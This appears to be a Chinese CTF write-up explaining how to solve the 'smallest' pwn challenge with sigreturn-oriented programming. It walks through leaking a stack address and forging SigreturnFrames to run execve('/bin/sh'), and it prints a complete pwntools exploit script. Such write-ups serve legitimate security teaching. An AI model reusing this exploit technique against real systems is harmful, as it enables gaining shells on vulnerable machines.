美文网首页CTF-PWN
srop之smallest-pwn

srop之smallest-pwn

作者: cceb9d5a8577 | 来源:发表于2018-07-10 23:19 被阅读27次

    这里专门通过一道题目来讲讲srop的利用:

    360春秋杯中的smallest-pwn

    这道题目很秀,只有这么点内容:

    通过读汇编,可以看到,这个程序其实就是read(0,rsp,400),然后ret
    就这样没有其他东西了,之前学过的栈溢出操作也都全部没用了
    这里有个syscall函数,大概的思路还是调用syscall,这里就需要用到srop了

    既然是用syscall,那么我们的最终目的肯定是执行execve("/bin/sh")了
    那么这里就需要知道:
    1.设置edi为/bin/sh的地址
    2.设置rax为execve的调用号
    (64位下的syscall可以在这里找到:http://www.cs.utexas.edu/~bismith/test/syscalls/syscalls64_orig.html
    3.造成系统中断,执行execve("/bin/sh")

    这里首先需要解决/bin/sh的写入问题,要怎么样写入这个参数到一个地址上去?这个地址该怎么找?
    可以通过argv[0]和envp获取栈所在的页,int main(int argc, char *argv[], char *envp[])
    argv[0]是一个栈地址,指向的是程序的名称,也就是rbp的值,一般都保存在rsp上面
    envp中保存的都是环境变量的地址,都位于栈中

    所以我们先想办法泄漏出栈的地址,然后可以通过这个地址知道我们写入的“/bin/sh”的地址
    该怎么泄漏呢,很简单,就调用write()函数,因为write函数的系统调用号是1,我们可以想办法让rax变成1,从而实现将read(0,rsp,400)变成write(1,rsp,400),把栈的地址泄漏出来
    怎么让rax变成1?可以通过控制read读入的字节数来改变rax的值
    因此,我们第一步先泄漏栈地址

    main_addr = 0x4000b0
    syscall_addr = 0x4000be
    write_payload = p64(main_addr) + p64(main_addr) + p64(main_addr)
    #三次main_addr是为了后面构造三次跳转
    s.send(write_payload)
    
    s.send("\xb3") # set rax=1  执行write函数,同时返回地址改写为0x4000b3。 跳过 xor %rax,%rax 使rax保持为1
    
    stack_addr = u64(s.recv()[8:16])#接收到的第8个字节开始才是我们所需要的栈地址
    print "stack:"+hex(stack_addr)
    

    泄漏出栈地址以后,程序的流程就已经执行到我们之前输入的第三个“main_addr”了
    这个时候我们就需要开始构造srop了,一共需要构造两次,第一次是调用read函数把paylode写到泄露出的栈地址上,第二次是把/bin/sh写进内存里面并且通过sigreturn调用execve()从而getshell,这里我就直接把完整的exp放出来了:

    #coding:utf-8
    from pwn import *
    import time
    context.log_level = 'debug'
    context.arch = "amd64"
    exe = './smallest'
    s = process(exe)
     
    main_addr = 0x4000b0
    syscall_addr = 0x4000be
    write_payload = p64(main_addr) + p64(main_addr) + p64(main_addr)
    #三次main_addr是为了后面构造三次跳转
    s.send(write_payload)
    
    s.send("\xb3") # set rax=1  执行write函数,同时返回地址改写为0x4000b3。 跳过 xor %rax,%rax 使rax保持为1
    
    stack_addr = u64(s.recv()[8:16])#接收到的第8个字节开始才是我们所需要的栈地址
    print "stack:"+hex(stack_addr)
    
    
    frame = SigreturnFrame(kernel="amd64")
    frame.rax = constants.SYS_read
    frame.rdi = 0x0
    frame.rsi = stack_addr
    frame.rdx = 0x400
    frame.rsp = stack_addr
    frame.rip = syscall_addr
    # frame代表read(0,stack_addr,0x400)  
    
    # 现将Payload写到栈上
    read_frame_payload = p64(main_addr) + p64(0) + str(frame)
    s.send(read_frame_payload)
     
    # 通过控制输入的字符数量,调用sigreturn
    goto_sigreturn_payload = p64(syscall_addr) + "\x00"*(15 - 8)
     # sigreturn syscall is 15 
    s.send(goto_sigreturn_payload)
     
    
    frame = SigreturnFrame(kernel="amd64")
    frame.rax = constants.SYS_execve
    frame.rdi = stack_addr+0x150 # "/bin/sh" 's addr 
    frame.rsi = 0x0
    frame.rdx = 0x0
    frame.rsp = stack_addr
    frame.rip = syscall_addr
    
    execv_frame_payload = p64(main_addr) + p64(0) + str(frame)
    execv_frame_payload_all = execv_frame_payload + (0x150 - len(execv_frame_payload))*"\x00" + "/bin/sh\x00"
    s.send(execv_frame_payload_all)
     
    s.send(goto_sigreturn_payload)  
     
    s.interactive()
    

    当时我第一次看别人写的wp的时候也是一脸懵的,于是自己动手画了一下图,就豁然开朗了:

    ps:终于写完了,画图真的让人脑壳疼。。。

    其实还有两种解法,我就不说了,贴一下之前我看过的各种wp吧:
    http://bestwing.me/2017/04/23/2017-360chunqiu-online/
    http://anciety.cn/2017/04/21/2017429ctf-smallest-writeup/
    http://www.angelwhu.com/blog/?p=504
    https://blog.csdn.net/luozhaotian/article/details/79608220

    相关文章

      网友评论

        本文标题:srop之smallest-pwn

        本文链接:https://www.haomeiwen.com/subject/zjdqpftx.html